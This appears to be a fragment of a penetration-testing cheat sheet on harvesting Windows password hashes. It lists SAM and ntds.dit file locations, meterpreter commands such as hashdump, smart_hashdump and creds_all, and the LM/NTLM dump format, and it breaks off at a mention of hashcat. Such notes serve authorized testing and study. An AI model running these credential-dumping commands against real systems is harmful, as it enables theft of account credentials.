Win­dows clients use SAM files. Win­dows DC uses ntds.dit to store all hash­es from the domain. SAM C:\windows\repair\sam C:\windows\System32\config\SAM C:\windows\System32\config\RegBack\SAM Alter­na­tives in meterpreter: run post/windows/gather/hashdump run post/windows/gather/smart_hashdump run hashdump hashdump (load module before: use priv) creds_all If hash­dump does­n’t work: Notes Format Username : UID : LM hash : NTLM hash : : : For hash­cat,…